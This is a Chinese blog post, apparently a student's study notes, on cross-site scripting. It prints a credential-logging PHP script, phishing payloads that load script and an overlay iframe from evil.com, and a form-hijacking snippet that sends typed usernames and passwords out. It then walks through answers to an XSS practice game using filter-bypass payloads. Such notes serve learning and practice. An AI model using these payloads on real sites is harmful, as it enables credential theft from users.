@$a=$_POST['user'];
@$b=$_POST['pass'];
fwrite($data, $a);
fwrite($data, $b);
header("location:http://www.baidu.com");
?
?>
接受完頁面以后立馬瞬間跳轉(zhuǎn)到百度
?
?
XSS釣魚欺騙
??攻擊者在XSS頁面插入利用代碼
????????http://www.bug.com/index.php?s=<Script src=http://www.evil.com/xss.js></Script>
????????當(dāng)用戶訪問這個鏈接時,就會動態(tài)調(diào)用遠(yuǎn)程的xss.js的文件,該文件的作用是創(chuàng)建一個iframe框架覆蓋目標(biāo)頁面,再加載遠(yuǎn)程域偽造的釣魚頁面
?
????????這里使用document.body.innerHTML方法插入代碼
?
??????? document.body.innerHTML=('<div style="position: absolute;top: 0px;left: 0px;width: 100%;height: 100%;">'+'<iframe src=http://www.evil.com/phishing.html ?width="100%;" height="100%">'+'</iframe></div>');
???
這樣的效果就是動態(tài)的調(diào)用了一個自己寫的危害的頁面覆蓋了原本的頁面
?
?
?
?
小補充: forms 集合可返回對文檔中所有 Form 對象的引用。
語法 document.forms[]
?
?
?
?
?
構(gòu)建XSS ?payload 劫持表單和控制web行為
??<script>
?? form=document.froms["userslogin"];
?? form.οnsubmit=function(){
?? var iframe=document.createElement("iframe");
?? iframe.style.display="none";
?? alert(form.user.value);
?? iframe.src="http://127.0.0.1/phishing.php?user="+form.user.values+"$pass="+form.pass.value;
?? document.body.appendChild(iframe);
?? }
??</script>
??這段代碼用來截取用戶在登錄頁面輸入的用戶名字和密碼信息,然后提交給當(dāng)前創(chuàng)建的PHP腳本
?
沒試過
?
?
?
?
?
?
?
?
?
?
?
?
?
?
這里詳細(xì)的介紹了ajax
?
| ?????方法 | ?????描述 | ||
| getALLResponseHeaders() | ?把HTTP請求所有相應(yīng)收不作為鍵/值對返回 | ||
| ? ? ? open(method,url,async) |
? | ||
| ? ?send(string) |
? | ||
| ? ? setRequestHeader(header,value) | ? 向請求添加 HTTP 頭。
? |
?
?
?
?
?
?
?
?
?
?
?
?
?
XMLHtttpRequest對象的屬性
?
| ? ??onreadystatechange | ?? 存儲函數(shù)(或函數(shù)名),每當(dāng) readyState 屬性改變時,就會調(diào)用該函數(shù)。 | ||
| readyState |
? | ||
| responseText | ??
? | ||
| ?responseXML | ?獲得 XML 形式的響應(yīng)數(shù)據(jù)。 |
?
?
?
| ???status | 服務(wù)器的相應(yīng)HTTP狀態(tài)碼 |
| ? ?statusText | ?http狀態(tài)對應(yīng)文本 |
?
?
?
?
?
?
?
?
?
?
?
發(fā)送一個GET請求
?
<script>
?
??function createXHR(){
?
?? if(typeof XMLHttpRequest !='undefind'){ ???????????//非IE6的創(chuàng)建Ajax的辦法
?
?? return new XMLHttpRequest();
?
?? }else if(typeof ActiveXObject !='undefind'){ ??????????//IE6的創(chuàng)建Ajax的辦法
?
???????????var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp']; ???//IE6的xmlhttp版本有很多
?
???????????for(var i=0;version.length;i++){
?
??????????? try{
?
??????????? ?return new ActiveXObject(version[i]); ????????//自己去定義xmlhttp做成一個數(shù)組,遍歷循環(huán),如果認(rèn)識那個版本就去創(chuàng)建,不認(rèn)識肯定會報錯,所以用try catch 跳過報錯的環(huán)節(jié),直接選到瀏覽器符合的版本
?
??????????? }catch(e){
?
??????????????//跳過
?
??????????? }
?
???????????}
?
?? }else{
?
?? throw new Error("您的系統(tǒng)或者瀏覽器不支持ajax") ?????//如果瀏覽器對于數(shù)組里的版本都識別不了,就報錯
?
?? }
?
??}
?
?
?
?
?
??var ?xml=createXHR(); //創(chuàng)建XHR請求對象
?
??xml.open("GET","web/url.php?"+data,true); ?//初始化請求
?
??xml.send() ??//和服務(wù)器建立鏈接并發(fā)數(shù)據(jù)
?
?
?
????????????????
?
</script>
?
?
?
?
?
?
?
?
?
發(fā)送POSTajax 請求
?
<script>
?
??function createXHR(){
?
?? if(typeof XMLHttpRequest !='undefind'){ ???????????//非IE6的創(chuàng)建Ajax的辦法
?
?? return new XMLHttpRequest();
?
?? }else if(typeof ActiveXObject !='undefind'){ ??????????//IE6的創(chuàng)建Ajax的辦法
?
???????????var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp']; ???//IE6的xmlhttp版本有很多
?
???????????for(var i=0;version.length;i++){
?
??????????? try{
?
??????????? ?return new ActiveXObject(version[i]); ????????//自己去定義xmlhttp做成一個數(shù)組,遍歷循環(huán),如果認(rèn)識那個版本就去創(chuàng)建,不認(rèn)識肯定會報錯,所以用try catch 跳過報錯的環(huán)節(jié),直接選到瀏覽器符合的版本
?
??????????? }catch(e){
?
??????????????//跳過
?
??????????? }
?
???????????}
?
?? }else{
?
?? throw new Error("您的系統(tǒng)或者瀏覽器不支持ajax") ?????//如果瀏覽器對于數(shù)組里的版本都識別不了,就報錯
?
?? }
?
??}
?
?
?
?
?
??var ?xml=createXHR(); //創(chuàng)建XHR請求對象
?
??para="id=11&username=diwada&password=12314" ?//發(fā)送的數(shù)據(jù)
?
??xml.open("GET","web/url.php?"+data,true); ?//初始化請求
?
??xml.setRequestHeader("Content-Type","application/x-www-form-urlencode");
?
??xml.send(para) ??//和服務(wù)器建立鏈接并發(fā)數(shù)據(jù)
?
?
?
????????????????
?
</script>
?
?
?
?
?
?
?
??????XSS小游戲 游戲答案
?
第一關(guān)唯一和用戶交互的地方就是URL里的參數(shù)
?
嘗試著把參數(shù)修改
localhost/xss/level1.php?name=<img/src=1 ?οnerrοr='alert("1")'>
?
然后就彈窗了,第一關(guān)過了
?
?
?
第二關(guān) 表單里的輸入框,只對 ?空格 ?/ 做了轉(zhuǎn)義
"οnmοuseοver=alert("s") //
使用”?把 vlaue 前面的雙引號過濾,添加事件 ???????????// 把后面的過濾
?
達(dá)到一個 移動 彈窗的效果
?
?
?
第三關(guān)
"還是<>都跳不出value標(biāo)簽,故我們嘗試別的特殊字符,發(fā)現(xiàn)'號可以跳出標(biāo)
'οnmοuseοver=alert(/xss/) //
?下次如果遇到情況你也可以用單引號試試
???
?
第四關(guān)
"οnmοuseοver=alert(/ss/) //
?
?
?
第五關(guān)
?
?
它把事件加了一個 _ ?所以嘗試著用不需要事件的XSS來彈窗
?
"><a href="javascript:alert('xss')">2</a>//
“?>閉合前面的 ??// 閉合后面的 ?????????動態(tài)的添加一個a標(biāo)簽
或者用
"><iframe src="javascript:alert(1)"></iframe>
?
?
?
?
第六關(guān)
"ONMOUSEOVER=alert(/ss/) //
?
第七關(guān)
"><a hrHREFef="javascriSCRIPtpt:alert('ss')">123</a>//
對on href 都進(jìn)行了消除,嘗試著用兩個或者是大小寫來繞過限制
"> 閉合前面的
// 消除后面的
?
或者嘗試這樣也可以
"><span oOnOnnclick="alert('ss')">123</span>// ?
進(jìn)行繞過
主要還是看他過濾了那一塊
或者是" OnoOnNmouseover=alert(`ss`) //
?
?
?
第八關(guān)
對ri 進(jìn)行了轉(zhuǎn)換 轉(zhuǎn)換成r_i ????所以我對i 進(jìn)行了編碼,
?
?
javascript:alert('ss')
?
?
整體達(dá)到的效果就是這樣
?
?
怎么看有沒有實體編碼
?
第九關(guān)
對方對ri 進(jìn)行了 r_i
對””進(jìn)行了實體編碼
繞過的方法 ????????????????????????????????????????????
javascript:alert( ` http://`?) ???????????????????`` 這個輸出的方法就是~這個鍵不加shift
?i ??是i轉(zhuǎn)化后的效果
?
最終達(dá)成的效果 ?能彈窗
?
?
怎樣看到底有沒有被實體編碼? 其實很簡單,例如
我輸出 javascript:alert("http://") ??利用firbug查看
?
?
右擊->編輯HTML
?
可以看到 "(引號)全部轉(zhuǎn)義了,
?
?
現(xiàn)在我嘗試對引號進(jìn)行編碼
?
?
?
?
原來輸出的是 javascript:alert("http://") ?然后對引號進(jìn)行編碼 成為了下面的
??????????為 javascript:alert("http://")
再放進(jìn)去
?
可以看到結(jié)果,然后右擊->編輯HTML
?
可以看到,兩個引號還是被轉(zhuǎn)義了, 這就是實體編碼了~~~
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
第10關(guān)
?
沒有任何輸出框,我嘗試著對變量進(jìn)行XSS
?
現(xiàn)在通過firebug查看 ?????
?
右擊->編輯HTML
?
可以看到 <> 都被轉(zhuǎn)義了,現(xiàn)在嘗試進(jìn)行編碼看看
?
?
這道題目搞了很久,都沒弄明白,所以破例查看的源碼
?
?
三個input 都隱藏了,你可以用firebug 打開 ??可以看到,雖然是三個,但是這邊只有name=t_sorf 的能夠傳值, 所以我們要在URL里動態(tài)的添加參數(shù),
?
?
可以看到這邊已經(jīng)有值了
構(gòu)造payload ?使它彈窗
http://localhost/xss/level10.php?keyword=good%20job!%20&t_sort=kk%22%20οnmοuseοver=alert(/ss/)%20type=%22test%22%20//
?
t_sort=kk”?閉合掉前面的標(biāo)簽
οnmοuseοver=alert(/ss/) 彈窗
type=”test”?// ?讓input顯示出來,并且用//閉合掉后面的
?
?
然后移到input 就彈窗了
?
?
?
新增知識點:適當(dāng)?shù)牟榭聪戮W(wǎng)頁的源碼,看看input里是否能傳值,是否被隱藏了
?
?
?
?
?
?
?
第11關(guān) ,同樣的也是研究了好幾個小時不明白才看的
?
它這邊對 t_sort 做了實體編碼,不管輸出啥都沒用,但是對HTTP——REFRER ?只做了<> 的替換
$_SERVER['HTTP_REFERER']; ???就是referer (來源網(wǎng)址)
?
所有可以在referer 里構(gòu)造XSS
?
在這里,我們新建一個tmp1.php頁面
?
內(nèi)容就是提交到 ?level11.php ?(第11關(guān))
在頁面點擊提交
?
打開burp suite
通過抓包修改referer
http://localhost/tmp1.php" οnmοuseοver=alert(/ss/) type="text"//
?
修改成這樣
?
然后再放行就成這樣了
?
構(gòu)造出了一個 ?input ?移到這里就彈窗了
?
?
?
?
?
?
?
?
?
第12關(guān)
第12關(guān)也是referer ?過濾沒嚴(yán)格,它判斷了來源是什么瀏覽器
打開firebug 可以看到
?
?
?
這邊是判斷對方的來源 是什么瀏覽器,我們可以在這里構(gòu)造XSS payload
?
通過11關(guān)跳轉(zhuǎn)到12關(guān)的這個對方,進(jìn)行抓包
?
修改這里的參數(shù)
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)" οnmοuseοver=alert(/ss/) type="text" //
?
?
點擊forward 放行
?
?
然后12關(guān)就會出現(xiàn) 本來應(yīng)該隱藏的input ???移到哪里就會彈窗
?
?
?
?
?
?
第13關(guān)
?
13關(guān)的關(guān)鍵點在于 t_cook 這個參數(shù)
它的值是根據(jù)cookie 而定的,所以你可以在線的去修改cookie 的值
?
?
?
?
再對頁面刷新下,就成功了~~
?
?
?
?
14 關(guān)因為現(xiàn)在的一些安全原因,顯示不出來
?
15
http://bbs.ichunqiu.com/thread-15664-1-1.html
答案
?不玩了,沒意思
?
?
?
?
?
?
?
?
?
?
?
?
?
?
轉(zhuǎn)載于:https://www.cnblogs.com/fengzaizhijian/p/6755890.html
總結(jié)
- 上一篇: 游戏中每日刷新实现思路浅析
- 下一篇: 面向对象高级(上)